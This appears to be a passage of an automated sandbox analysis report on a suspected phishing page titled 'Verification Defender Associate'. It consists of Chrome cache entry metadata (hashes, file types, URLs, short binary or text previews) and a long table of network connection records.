Preview:	.. ..<!DOCTYPE html>..<html lang="en">..<head>.. <meta charset="UTF-8">.. <meta name="viewport" content="width=device-width, initial-scale=1.0">.. <title>Verification Defender Associate</title>...<link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAMwAAADACAMAAAB/Pny7AAAAaVBMVEX///8AAABjY2PMzMzw8PDb29uIiIjY2NjT09NWVlb09PRZWVn7+/vp6ekMDAxOTk4oKCgcHByUlJShoaExMTHDw8O7u7u1tbWqqqri4uKOjo5sbGxISEgjIyM2NjZDQ0OAgIAWFhZ2dnZQtTw7AAAGs0lEQVR4nO2d65qqOgxAQVQQigoMCCqKvv9DnlFBK5cm0KY6+3T93N+ezizpJWkbtCyDwWAwGAwGg8FgMBgMI1ioJvyYSmarJ9p9yCUikLHthH1C5kDi8hmb+YxIxs7/JRk7+Zdk9D8bShntz6aROTgqSJ1qzclcNNs0MktF7SW8jG4bWhl7rXXcEMvonQWIZNaXl42+1ZNI5rw8f8CGSOa0yLb6exqRzI/HR7C6bOhkrFT7LEAow2VKmmZoShnu2URabEhldNvQymjuaR0ZfziMxOxTtGSs7LV60u8LtGT8pS3gMAfba8tYu9d6Q27TktmLXGz7CrbXkdFp8y7ji13sswO115WxdqUum3eZOSBTgn9Nj4y1uzwboJ0F3mVYO4BX8WR+bV4tkNq0xkwilql8qL1eGX7XlDL3bM9m8aWr8GQPT879MpwNZSbdXmdYMbwfXoDPZVCGXz3pbIgjgBc6xo02GWu3JrfpyDAfQJwED8toWD3bMu5yIyZIhLNALVMmaQeHO3DIdMh4iNOalShC62w1DUByuN

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.875
Encrypted:	false
SSDEEP:	3:Hs5Rn:Mzn
MD5:	F288168D92CBD0EE2FE8F6A647A57A2F
SHA1:	6C3629A2F0B92D11881D3760E32ED0BBE21F4A49
SHA-256:	3AF56558A3A933DBA2446986C391E71D98FB88F877BEF285148496FF4F6C6ADA
SHA-512:	DB3C4AD27D8F5DAA791A4AE116D13A7D1FA10A84F5F528F6D7B5E37A4D52A126B497E8F7B5FDFCCBADEF7AC69D957A3B76242912DD54703D6A63BF442C72DD5B
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISEAmOEUp5t-vojRIFDXLFBew=?alt=proto
Preview:	CgkKBw1yxQXsGgA=

Chrome Cache Entry: 94

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 15755
Category:	downloaded
Size (bytes):	5525
Entropy (8bit):	7.961202222662501
Encrypted:	false
SSDEEP:	96:dySl6/e7OAQD3cS66g8cxO4qXgy66F0+fgENU28TjN3KY6meSsj0ktMvB4YJix2I:dNl6/zFDW6dlXV665ReB67j0sEBWxl
MD5:	28CE5BF8BACB96D1C2CFA0092145C6EE
SHA1:	303A4629C4467AF2C551EC9E6353464C8C25827D
SHA-256:	6B89EEC14865DB53FE20FB3C70B0853362E21669DACE19C06172F673B2EDC5CD
SHA-512:	6A10794F105EF5C6F7F7DC2C89152A8342E6D9D8D9490783863ED2737FFD5982E916F72E0A9ECB944AB9815FA70BD20C7256A91E2A62D971F80C23822B809A02
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/shared/1.0/content/js/asyncchunk/convergedlogin_pfetchsessionsprogress_1cd84c14a6b01fcd8515.js
Preview:	...........[}w.F....Bh..i3.M.t.rU.....]..M...@.(..........@..N..I-k..;w.....U.F..v....N....]....MC......U.]o>..mJ.w..~.5<......Z.h~8..8J..m......0.&Z:.Z.D_. .Z.....<.f..t..].I:..........b. ...}.ja......'..x......m6..c...$..........b\|s......O.a..cE..u.2..6jG!.A.....P..?q@?"..).Mk.0.[."V..M..4...4.~}.?.i..D.}h\|..$x.Ajm.S..H..-.x.If..]..1.D0.F......pq.(.\|...y\...5....y2.q.Fq...[.\|..n.b.i_D......xuR......I.TS.4..}\|<...o....MG.+@.......\.?."...+[...A..&...{]......u..+p?......\|...j....7...=H..cwp.38.;%c.....O..............p...X.g!....r...d..5.%x.....;...j6p...p......c.Nd.:...&.....%.. tR.d.@.. ...1..6....i....:...s=..V...iN..1../tH..p<..Mo.......`&.7uA;..(lC.......4...?..0..[S@...D..\|....=.wh2...<.. ...)..F...!. .C...k...S.pPt......s..K.V...w......7....Zn.d..t]l.........5=.(..#.....l._.Ip......-O.6.,......q4....!XS`6k..k.....9k....{~*.....X....q......l.>x..={j.n..W......e..Q..I/..;a..MS>.!5v.d.B+.o.....q...j.q..Z..=..@g.1q..,yBV91m.j>..4.o...

Chrome Cache Entry: 95

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	96
Entropy (8bit):	5.218997042938778
Encrypted:	false
SSDEEP:	3:iuh72iczBra82yFsJFouMo+q6mgqWd6Nk:NciczBdTFsJFoM+q62Nk
MD5:	9872BE83FA60DA999B65A3BD481731D3
SHA1:	B59A8688C6A0D5311C6410A0D91537084E148F2D
SHA-256:	5DEE42A8D755847C0813D4E5F033F51197B20DD3C6C2EE4FBE31FD27B2F593D3
SHA-512:	53E947C87386ECF19E3B36E3F292A9757911F0F8B02FE36DDFC0DD74A3C784D97B15066AB4895EA694F66792A8C7CF525F59A03868FF5D5F0C3B5203D34C5F7D
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISFwmCAmly1gHbXRIFDdFbUVISBQ1Xevf9?alt=proto
Preview:	CkYKDQ3RW1FSGgQIVhgCIAEKNQ1Xevf9GgQISxgCKigIClIkChpAISMuKiQtXyslJj8vPV4pKCw6O348JyJcXRABGP////8P

Chrome Cache Entry: 96

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	5617
Entropy (8bit):	3.965223513316444
Encrypted:	false
SSDEEP:	96:BDol4IVL19t2mY5Ib0Va4FALs/k2eerILEKQhnEIsFGFB/aStUY0NuhHkzTUgCgM:BGjR19tU5Ib0tCY8jeSEptRPFESt70NW
MD5:	C47B4B5200566A2A496A11BA472EC5DA
SHA1:	3BD0DA9A6FFD62217D3E781FA1356F40D9F91D4C
SHA-256:	179A9AA9FFF4C52850D9CE34A4C435404DDFD4FEFA8AAB9A6EB4F47B83F922D9
SHA-512:	B67659BFB2F94CC1124EB88F7582AE2EE1C983210577EDC9AAF6FDB65F6B0E2B9FD786169A91FC72A1AC0E8556BC09C7CF35395C7A038A6F6419660B7B64545F
Malicious:	false
Reputation:	low
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="1516" height="320" viewBox="0 0 1137 240"><defs><clipPath id="a"><path d="M1095 0h41.578v42H1095zm0 0"/></clipPath></defs><path d="M89.69 59.102h67.802l-10.5 40.2c-1.605 5.6-4.605 10.1-9 13.5-4.402 3.4-9.504 5.096-15.3 5.096h-31.5c-7.2 0-13.55 2.102-19.05 6.3-5.505 4.2-9.353 9.904-11.552 17.103-1.4 5.4-1.55 10.5-.45 15.302 1.098 4.796 3.047 9.05 5.852 12.75 2.797 3.703 6.4 6.652 10.8 8.85 4.395 2.2 9.196 3.298 14.4 3.298h19.2c3.6 0 6.55 1.453 8.85 4.352 2.297 2.902 2.95 6.148 1.95 9.75l-12 44.398h-21c-14.4 0-27.653-3.148-39.75-9.45-12.102-6.3-22.153-14.648-30.15-25.05-8.003-10.395-13.452-22.246-16.35-35.547-2.903-13.3-2.55-26.95 1.05-40.953l1.2-4.5c2.597-9.602 6.648-18.45 12.148-26.55 5.5-8.098 12-15 19.5-20.7 7.5-5.7 15.85-10.148 25.05-13.352 9.2-3.195 18.797-4.796 28.8-4.796M123.89 240L182.99 18.602c1.598-5.598 4.598-10.098 9-13.5C196.388 1.7 201.484 0 207.288 0h62.7c14.403 0 27.65 3.148 39.75 9.45 12.098 6.3 22.15 14.655 30.153 25.05 7.

Chrome Cache Entry: 97

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1592
Category:	dropped
Size (bytes):	621
Entropy (8bit):	7.673946009263606
Encrypted:	false
SSDEEP:	12:Xp7fmqfW/e4YC2L0E5DZLB62y/+6lbPa1Gotq8mdd2Xmy2QLBwxD+QkCfBJ:Xp6qf2SCk3LBpy/rtPa1GKq8mOX5jLcD
MD5:	4761405717E938D7E7400BB15715DB1E
SHA1:	76FED7C229D353A27DB3257F5927C1EAF0AB8DE9
SHA-256:	F7ED91A1DAB5BB2802A7A3B3890DF4777588CCBE04903260FBA83E6E64C90DDF
SHA-512:	E8DAC6F81EB4EBA2722E9F34DAF9B99548E5C40CCA93791FBEDA3DEBD8D6E401975FC1A75986C0E7262AFA1B9D1475E1008A89B92C8A7BEC84D8A917F221B4A2
Malicious:	false
Reputation:	low
Preview:	..........}UMo"1..+.....G; .8l...M..$.U.AW......UaX..`'.=......\|..z3...Ms>..Y...QB..W..y..6.......?..........L.W=m....=..w.)...nw...a.z......#.y.j...m...P...#...6....6.u.u...OF.V..07b..\...s.f..U..N..B...>.d.-z..x.2..Lr.Rr)....JF.z.;Lh.....q.2.A....[.&".S..:......]........#k.U#57V..k5.tdM.j.9.FMQ2..H:.~op..H.......hQ.#...r[.T.$.@........j.xc.x0..I.B:#{iP1.e'..S4.:...mN.4)<W.A.).g.+..PZ&.$.#.6v.+.!...x...}.._...d...#.Cb..(..^k..h!..7.dx.WHB......(.6g.7.Wwt.I<.......o.;.....Oi$}f.6.....:P..!<5.(.p.e.%et.)w8LA.l9r..n.....?.F.DrK...H....0F...{.,.......{E..".......x.@..?u......../....8...

Chrome Cache Entry: 98

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 100 x 87, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	61
Entropy (8bit):	3.9708734032409505
Encrypted:	false
SSDEEP:	3:yionv//thPlpotnlQS/1xl/k4E08up:6v/lhPctlQO7Tp
MD5:	E88C73115CA815D5A89D19C8271A6462
SHA1:	305D0D5CDBBE606F1E40CC9577714EE0151066C4
SHA-256:	23F32E1DA85482541B028D80445D929F0BC00CF7C844D27F48F115B1B7146C21
SHA-512:	C8B2D18FD921FBF50727ACAAF04A974B2EEE49C73E8F9F6C60D697DDEA8C3702BCF50B8B848EDDF22EF75DF99B5808966F1BD8976ED84F8E5C82DCC6E5D5DC72
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...d...W.....}nw.....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 99

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 352 x 3
Category:	dropped
Size (bytes):	3620
Entropy (8bit):	6.867828878374734
Encrypted:	false
SSDEEP:	48:ZumKaT5ezv47j2/ZiRDlq16x8XvEUcg777shHdpHVGJqFd:Eal647jPDlL8XvEUcg77kVGyd
MD5:	B540A8E518037192E32C4FE58BF2DBAB
SHA1:	3047C1DB97B86F6981E0AD2F96AF40CDF43511AF
SHA-256:	8737D721808655F37B333F08A90185699E7E8B9BDAAA15CDB63C8448B426F95D
SHA-512:	E3612D9E6809EC192F6E2D035290B730871C269A267115E4A5515CADB7E6E14E3DD4290A35ABAA8D14CF1FA3924DC76E11926AC341E0F6F372E9FC5434B546E5
Malicious:	false
Reputation:	low
Preview:	GIF89a`.........iii!.......!.&Edited with ezgif.com online GIF maker.!..NETSCAPE2.0.....,....`.....6......P.l.......H....I..:qJ......k....`BY..L..&...!.......,....`.....9..i....Q4......H..j.=.k9-5_..........j7..({.........!.......,....`.....9.......trV.......H....`.[.q6......>.. .CZ.&!.....M...!.......,....`.....8..........:......H..jJ..U..6_....../.el...q.).....!.......,....`.....9.....i..l.go.....H..".U...f......._......5......n..!.......,....`.....:..i......./.....H...5%.kE/5.........In.a..@&3.....J...!.......,....`.....9.......kr.j.....H...-.{Im5c..............@&.........!.......,....`.....9.........j..q....H...].&..\.5.........8..S..........!.......,....`.....9.......3q.g..5....H...:u..............Al..x.q.........!.......,....`.....9......\.F....z....H...zX...ov.........h3N.x4......j..!.......,....`.....9........Q.:......H....y..^...1.........n.!.F......E...!.......,....`.....8.........i,......H....*_.21.I.........%...

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 13, 2025 21:16:57.939482927 CET	49675	443	192.168.2.4	173.222.162.32
Jan 13, 2025 21:17:02.103142023 CET	49738	443	192.168.2.4	216.58.206.68
Jan 13, 2025 21:17:02.103172064 CET	443	49738	216.58.206.68	192.168.2.4
Jan 13, 2025 21:17:02.103245974 CET	49738	443	192.168.2.4	216.58.206.68
Jan 13, 2025 21:17:02.103423119 CET	49738	443	192.168.2.4	216.58.206.68
Jan 13, 2025 21:17:02.103435993 CET	443	49738	216.58.206.68	192.168.2.4
Jan 13, 2025 21:17:02.743679047 CET	443	49738	216.58.206.68	192.168.2.4
Jan 13, 2025 21:17:02.744204044 CET	49738	443	192.168.2.4	216.58.206.68
Jan 13, 2025 21:17:02.744267941 CET	443	49738	216.58.206.68	192.168.2.4
Jan 13, 2025 21:17:02.745959044 CET	443	49738	216.58.206.68	192.168.2.4
Jan 13, 2025 21:17:02.746051073 CET	49738	443	192.168.2.4	216.58.206.68
Jan 13, 2025 21:17:02.747230053 CET	49738	443	192.168.2.4	216.58.206.68
Jan 13, 2025 21:17:02.747483015 CET	443	49738	216.58.206.68	192.168.2.4
Jan 13, 2025 21:17:02.797053099 CET	49738	443	192.168.2.4	216.58.206.68
Jan 13, 2025 21:17:02.797112942 CET	443	49738	216.58.206.68	192.168.2.4
Jan 13, 2025 21:17:02.843729973 CET	49738	443	192.168.2.4	216.58.206.68
Jan 13, 2025 21:17:03.189577103 CET	49740	443	192.168.2.4	216.58.206.68
Jan 13, 2025 21:17:03.189625978 CET	443	49740	216.58.206.68	192.168.2.4
Jan 13, 2025 21:17:03.189694881 CET	49740	443	192.168.2.4	216.58.206.68
Jan 13, 2025 21:17:03.190237045 CET	49740	443	192.168.2.4	216.58.206.68
Jan 13, 2025 21:17:03.190272093 CET	443	49740	216.58.206.68	192.168.2.4
Jan 13, 2025 21:17:03.199461937 CET	49738	443	192.168.2.4	216.58.206.68
Jan 13, 2025 21:17:03.247335911 CET	443	49738	216.58.206.68	192.168.2.4
Jan 13, 2025 21:17:03.440104008 CET	443	49738	216.58.206.68	192.168.2.4
Jan 13, 2025 21:17:03.440397978 CET	443	49738	216.58.206.68	192.168.2.4
Jan 13, 2025 21:17:03.440470934 CET	49738	443	192.168.2.4	216.58.206.68
Jan 13, 2025 21:17:03.446563005 CET	49738	443	192.168.2.4	216.58.206.68
Jan 13, 2025 21:17:03.446609974 CET	443	49738	216.58.206.68	192.168.2.4
Jan 13, 2025 21:17:03.758219957 CET	49742	80	192.168.2.4	188.166.2.160
Jan 13, 2025 21:17:03.763127089 CET	80	49742	188.166.2.160	192.168.2.4
Jan 13, 2025 21:17:03.763196945 CET	49742	80	192.168.2.4	188.166.2.160
Jan 13, 2025 21:17:03.763353109 CET	49742	80	192.168.2.4	188.166.2.160
Jan 13, 2025 21:17:03.768189907 CET	80	49742	188.166.2.160	192.168.2.4
Jan 13, 2025 21:17:03.817713976 CET	443	49740	216.58.206.68	192.168.2.4
Jan 13, 2025 21:17:03.817982912 CET	49740	443	192.168.2.4	216.58.206.68
Jan 13, 2025 21:17:03.818013906 CET	443	49740	216.58.206.68	192.168.2.4
Jan 13, 2025 21:17:03.818346977 CET	443	49740	216.58.206.68	192.168.2.4
Jan 13, 2025 21:17:03.818672895 CET	49740	443	192.168.2.4	216.58.206.68
Jan 13, 2025 21:17:03.818733931 CET	443	49740	216.58.206.68	192.168.2.4
Jan 13, 2025 21:17:03.864190102 CET	49740	443	192.168.2.4	216.58.206.68
Jan 13, 2025 21:17:04.370992899 CET	80	49742	188.166.2.160	192.168.2.4
Jan 13, 2025 21:17:04.384855986 CET	49743	443	192.168.2.4	188.166.2.160
Jan 13, 2025 21:17:04.384902954 CET	443	49743	188.166.2.160	192.168.2.4
Jan 13, 2025 21:17:04.385180950 CET	49743	443	192.168.2.4	188.166.2.160
Jan 13, 2025 21:17:04.385180950 CET	49743	443	192.168.2.4	188.166.2.160
Jan 13, 2025 21:17:04.385313034 CET	443	49743	188.166.2.160	192.168.2.4
Jan 13, 2025 21:17:04.411140919 CET	49742	80	192.168.2.4	188.166.2.160
Jan 13, 2025 21:17:05.004409075 CET	443	49743	188.166.2.160	192.168.2.4
Jan 13, 2025 21:17:05.004909039 CET	49743	443	192.168.2.4	188.166.2.160
Jan 13, 2025 21:17:05.004971027 CET	443	49743	188.166.2.160	192.168.2.4
Jan 13, 2025 21:17:05.006665945 CET	443	49743	188.166.2.160	192.168.2.4
Jan 13, 2025 21:17:05.006766081 CET	49743	443	192.168.2.4	188.166.2.160
Jan 13, 2025 21:17:05.010617971 CET	49743	443	192.168.2.4	188.166.2.160
Jan 13, 2025 21:17:05.010862112 CET	443	49743	188.166.2.160	192.168.2.4
Jan 13, 2025 21:17:05.010909081 CET	49743	443	192.168.2.4	188.166.2.160
Jan 13, 2025 21:17:05.051139116 CET	49743	443	192.168.2.4	188.166.2.160
Jan 13, 2025 21:17:05.051167965 CET	443	49743	188.166.2.160	192.168.2.4
Jan 13, 2025 21:17:05.098906040 CET	49743	443	192.168.2.4	188.166.2.160
Jan 13, 2025 21:17:05.285923004 CET	443	49743	188.166.2.160	192.168.2.4
Jan 13, 2025 21:17:05.286952019 CET	443	49743	188.166.2.160	192.168.2.4
Jan 13, 2025 21:17:05.287058115 CET	49743	443	192.168.2.4	188.166.2.160
Jan 13, 2025 21:17:05.287426949 CET	49743	443	192.168.2.4	188.166.2.160
Jan 13, 2025 21:17:05.287476063 CET	443	49743	188.166.2.160	192.168.2.4
Jan 13, 2025 21:17:05.287504911 CET	49743	443	192.168.2.4	188.166.2.160
Jan 13, 2025 21:17:05.287712097 CET	49743	443	192.168.2.4	188.166.2.160
Jan 13, 2025 21:17:06.228014946 CET	49744	443	192.168.2.4	108.179.252.84
Jan 13, 2025 21:17:06.228089094 CET	443	49744	108.179.252.84	192.168.2.4
Jan 13, 2025 21:17:06.228167057 CET	49744	443	192.168.2.4	108.179.252.84
Jan 13, 2025 21:17:06.228387117 CET	49744	443	192.168.2.4	108.179.252.84
Jan 13, 2025 21:17:06.228415012 CET	443	49744	108.179.252.84	192.168.2.4
Jan 13, 2025 21:17:06.743545055 CET	443	49744	108.179.252.84	192.168.2.4
Jan 13, 2025 21:17:06.743845940 CET	49744	443	192.168.2.4	108.179.252.84
Jan 13, 2025 21:17:06.743906975 CET	443	49744	108.179.252.84	192.168.2.4
Jan 13, 2025 21:17:06.745553970 CET	443	49744	108.179.252.84	192.168.2.4
Jan 13, 2025 21:17:06.745626926 CET	49744	443	192.168.2.4	108.179.252.84
Jan 13, 2025 21:17:06.746768951 CET	49744	443	192.168.2.4	108.179.252.84
Jan 13, 2025 21:17:06.746943951 CET	443	49744	108.179.252.84	192.168.2.4
Jan 13, 2025 21:17:06.747036934 CET	49744	443	192.168.2.4	108.179.252.84
Jan 13, 2025 21:17:06.747054100 CET	443	49744	108.179.252.84	192.168.2.4
Jan 13, 2025 21:17:06.799129009 CET	49744	443	192.168.2.4	108.179.252.84
Jan 13, 2025 21:17:06.881320953 CET	443	49744	108.179.252.84	192.168.2.4
Jan 13, 2025 21:17:06.881377935 CET	443	49744	108.179.252.84	192.168.2.4
Jan 13, 2025 21:17:06.881400108 CET	443	49744	108.179.252.84	192.168.2.4
Jan 13, 2025 21:17:06.881419897 CET	443	49744	108.179.252.84	192.168.2.4
Jan 13, 2025 21:17:06.881563902 CET	49744	443	192.168.2.4	108.179.252.84
Jan 13, 2025 21:17:06.881563902 CET	49744	443	192.168.2.4	108.179.252.84
Jan 13, 2025 21:17:06.881630898 CET	443	49744	108.179.252.84	192.168.2.4
Jan 13, 2025 21:17:06.901182890 CET	443	49744	108.179.252.84	192.168.2.4
Jan 13, 2025 21:17:06.901287079 CET	49744	443	192.168.2.4	108.179.252.84
Jan 13, 2025 21:17:06.901350975 CET	443	49744	108.179.252.84	192.168.2.4
Jan 13, 2025 21:17:06.901390076 CET	443	49744	108.179.252.84	192.168.2.4
Jan 13, 2025 21:17:06.901448011 CET	49744	443	192.168.2.4	108.179.252.84
Jan 13, 2025 21:17:06.911164999 CET	49744	443	192.168.2.4	108.179.252.84
Jan 13, 2025 21:17:06.911195993 CET	443	49744	108.179.252.84	192.168.2.4
Jan 13, 2025 21:17:06.958473921 CET	49745	443	192.168.2.4	108.179.252.84
Jan 13, 2025 21:17:06.958563089 CET	443	49745	108.179.252.84	192.168.2.4
Jan 13, 2025 21:17:06.958797932 CET	49745	443	192.168.2.4	108.179.252.84
Jan 13, 2025 21:17:06.958920002 CET	49745	443	192.168.2.4	108.179.252.84
Jan 13, 2025 21:17:06.958957911 CET	443	49745	108.179.252.84	192.168.2.4
Jan 13, 2025 21:17:07.462604046 CET	443	49745	108.179.252.84	192.168.2.4
Jan 13, 2025 21:17:07.462908983 CET	49745	443	192.168.2.4	108.179.252.84
Jan 13, 2025 21:17:07.462970018 CET	443	49745	108.179.252.84	192.168.2.4
Jan 13, 2025 21:17:07.464500904 CET	443	49745	108.179.252.84	192.168.2.4
Jan 13, 2025 21:17:07.464845896 CET	49745	443	192.168.2.4	108.179.252.84
Jan 13, 2025 21:17:07.464960098 CET	49745	443	192.168.2.4	108.179.252.84
Jan 13, 2025 21:17:07.464986086 CET	443	49745	108.179.252.84	192.168.2.4
Jan 13, 2025 21:17:07.465297937 CET	443	49745	108.179.252.84	192.168.2.4
Jan 13, 2025 21:17:07.515295029 CET	49745	443	192.168.2.4	108.179.252.84
Jan 13, 2025 21:17:08.074743032 CET	443	49745	108.179.252.84	192.168.2.4
Jan 13, 2025 21:17:08.074810982 CET	443	49745	108.179.252.84	192.168.2.4
Jan 13, 2025 21:17:08.074831009 CET	443	49745	108.179.252.84	192.168.2.4
Jan 13, 2025 21:17:08.074884892 CET	49745	443	192.168.2.4	108.179.252.84
Jan 13, 2025 21:17:08.074953079 CET	443	49745	108.179.252.84	192.168.2.4
Jan 13, 2025 21:17:08.074985981 CET	443	49745	108.179.252.84	192.168.2.4
Jan 13, 2025 21:17:08.075011015 CET	49745	443	192.168.2.4	108.179.252.84
Jan 13, 2025 21:17:08.075033903 CET	49745	443	192.168.2.4	108.179.252.84
Jan 13, 2025 21:17:08.076342106 CET	49745	443	192.168.2.4	108.179.252.84
Jan 13, 2025 21:17:08.076472044 CET	443	49745	108.179.252.84	192.168.2.4
Jan 13, 2025 21:17:08.076842070 CET	443	49745	108.179.252.84	192.168.2.4
Jan 13, 2025 21:17:08.076931000 CET	49745	443	192.168.2.4	108.179.252.84
Jan 13, 2025 21:17:08.076931953 CET	49745	443	192.168.2.4	108.179.252.84
Jan 13, 2025 21:17:09.373915911 CET	80	49742	188.166.2.160	192.168.2.4
Jan 13, 2025 21:17:09.373994112 CET	49742	80	192.168.2.4	188.166.2.160
Jan 13, 2025 21:17:10.064395905 CET	49742	80	192.168.2.4	188.166.2.160
Jan 13, 2025 21:17:10.069399118 CET	80	49742	188.166.2.160	192.168.2.4
Jan 13, 2025 21:17:13.727225065 CET	443	49740	216.58.206.68	192.168.2.4
Jan 13, 2025 21:17:13.727304935 CET	443	49740	216.58.206.68	192.168.2.4
Jan 13, 2025 21:17:13.727538109 CET	49740	443	192.168.2.4	216.58.206.68
Jan 13, 2025 21:17:14.064106941 CET	49740	443	192.168.2.4	216.58.206.68
Jan 13, 2025 21:17:14.064138889 CET	443	49740	216.58.206.68	192.168.2.4
Jan 13, 2025 21:17:19.019584894 CET	62486	53	192.168.2.4	1.1.1.1
Jan 13, 2025 21:17:19.024583101 CET	53	62486	1.1.1.1	192.168.2.4
Jan 13, 2025 21:17:19.024802923 CET	62486	53	192.168.2.4	1.1.1.1
Jan 13, 2025 21:17:19.024802923 CET	62486	53	192.168.2.4	1.1.1.1
Jan 13, 2025 21:17:19.029751062 CET	53	62486	1.1.1.1	192.168.2.4
Jan 13, 2025 21:17:19.471723080 CET	62487	443	192.168.2.4	162.241.203.180
Jan 13, 2025 21:17:19.471792936 CET	443	62487	162.241.203.180	192.168.2.4
Jan 13, 2025 21:17:19.471863031 CET	62487	443	192.168.2.4	162.241.203.180
Jan 13, 2025 21:17:19.473356009 CET	62488	443	192.168.2.4	162.241.203.180
Jan 13, 2025 21:17:19.473470926 CET	443	62488	162.241.203.180	192.168.2.4
Jan 13, 2025 21:17:19.473562956 CET	62488	443	192.168.2.4	162.241.203.180
Jan 13, 2025 21:17:19.481024027 CET	62488	443	192.168.2.4	162.241.203.180
Jan 13, 2025 21:17:19.481066942 CET	443	62488	162.241.203.180	192.168.2.4
Jan 13, 2025 21:17:19.481277943 CET	62487	443	192.168.2.4	162.241.203.180
Jan 13, 2025 21:17:19.481301069 CET	443	62487	162.241.203.180	192.168.2.4
Jan 13, 2025 21:17:19.483086109 CET	53	62486	1.1.1.1	192.168.2.4
Jan 13, 2025 21:17:19.533216953 CET	62486	53	192.168.2.4	1.1.1.1
Jan 13, 2025 21:17:19.551392078 CET	62486	53	192.168.2.4	1.1.1.1
Jan 13, 2025 21:17:19.556730032 CET	53	62486	1.1.1.1	192.168.2.4
Jan 13, 2025 21:17:19.556828022 CET	62486	53	192.168.2.4	1.1.1.1
Jan 13, 2025 21:17:20.002746105 CET	443	62487	162.241.203.180	192.168.2.4
Jan 13, 2025 21:17:20.003087997 CET	62487	443	192.168.2.4	162.241.203.180
Jan 13, 2025 21:17:20.003108025 CET	443	62487	162.241.203.180	192.168.2.4
Jan 13, 2025 21:17:20.004760027 CET	443	62487	162.241.203.180	192.168.2.4
Jan 13, 2025 21:17:20.004836082 CET	62487	443	192.168.2.4	162.241.203.180
Jan 13, 2025 21:17:20.005945921 CET	62487	443	192.168.2.4	162.241.203.180
Jan 13, 2025 21:17:20.006036997 CET	443	62487	162.241.203.180	192.168.2.4
Jan 13, 2025 21:17:20.006088018 CET	62487	443	192.168.2.4	162.241.203.180
Jan 13, 2025 21:17:20.016499996 CET	443	62488	162.241.203.180	192.168.2.4
Jan 13, 2025 21:17:20.017116070 CET	62488	443	192.168.2.4	162.241.203.180
Jan 13, 2025 21:17:20.017177105 CET	443	62488	162.241.203.180	192.168.2.4
Jan 13, 2025 21:17:20.018629074 CET	443	62488	162.241.203.180	192.168.2.4
Jan 13, 2025 21:17:20.018754005 CET	62488	443	192.168.2.4	162.241.203.180
Jan 13, 2025 21:17:20.019031048 CET	62488	443	192.168.2.4	162.241.203.180
Jan 13, 2025 21:17:20.019118071 CET	443	62488	162.241.203.180	192.168.2.4
Jan 13, 2025 21:17:20.047375917 CET	443	62487	162.241.203.180	192.168.2.4
Jan 13, 2025 21:17:20.047442913 CET	62487	443	192.168.2.4	162.241.203.180
Jan 13, 2025 21:17:20.047452927 CET	443	62487	162.241.203.180	192.168.2.4
Jan 13, 2025 21:17:20.063415051 CET	62488	443	192.168.2.4	162.241.203.180
Jan 13, 2025 21:17:20.063473940 CET	443	62488	162.241.203.180	192.168.2.4
Jan 13, 2025 21:17:20.095424891 CET	62487	443	192.168.2.4	162.241.203.180
Jan 13, 2025 21:17:20.110884905 CET	62488	443	192.168.2.4	162.241.203.180
Jan 13, 2025 21:17:20.135057926 CET	443	62487	162.241.203.180	192.168.2.4
Jan 13, 2025 21:17:20.135087967 CET	443	62487	162.241.203.180	192.168.2.4
Jan 13, 2025 21:17:20.135099888 CET	443	62487	162.241.203.180	192.168.2.4
Jan 13, 2025 21:17:20.135204077 CET	443	62487	162.241.203.180	192.168.2.4
Jan 13, 2025 21:17:20.135283947 CET	62487	443	192.168.2.4	162.241.203.180
Jan 13, 2025 21:17:20.135283947 CET	62487	443	192.168.2.4	162.241.203.180
Jan 13, 2025 21:17:20.135304928 CET	443	62487	162.241.203.180	192.168.2.4
Jan 13, 2025 21:17:20.153017044 CET	443	62487	162.241.203.180	192.168.2.4
Jan 13, 2025 21:17:20.153064966 CET	443	62487	162.241.203.180	192.168.2.4
Jan 13, 2025 21:17:20.153088093 CET	62487	443	192.168.2.4	162.241.203.180
Jan 13, 2025 21:17:20.153100967 CET	443	62487	162.241.203.180	192.168.2.4
Jan 13, 2025 21:17:20.153137922 CET	62487	443	192.168.2.4	162.241.203.180
Jan 13, 2025 21:17:20.153142929 CET	443	62487	162.241.203.180	192.168.2.4
Jan 13, 2025 21:17:20.153191090 CET	62487	443	192.168.2.4	162.241.203.180
Jan 13, 2025 21:17:20.153390884 CET	62487	443	192.168.2.4	162.241.203.180
Jan 13, 2025 21:17:20.153407097 CET	443	62487	162.241.203.180	192.168.2.4
Jan 13, 2025 21:17:20.166837931 CET	62488	443	192.168.2.4	162.241.203.180
Jan 13, 2025 21:17:20.207356930 CET	443	62488	162.241.203.180	192.168.2.4
Jan 13, 2025 21:17:20.289999008 CET	443	62488	162.241.203.180	192.168.2.4
Jan 13, 2025 21:17:20.290030956 CET	443	62488	162.241.203.180	192.168.2.4
Jan 13, 2025 21:17:20.290041924 CET	443	62488	162.241.203.180	192.168.2.4
Jan 13, 2025 21:17:20.290121078 CET	443	62488	162.241.203.180	192.168.2.4
Jan 13, 2025 21:17:20.290199041 CET	62488	443	192.168.2.4	162.241.203.180
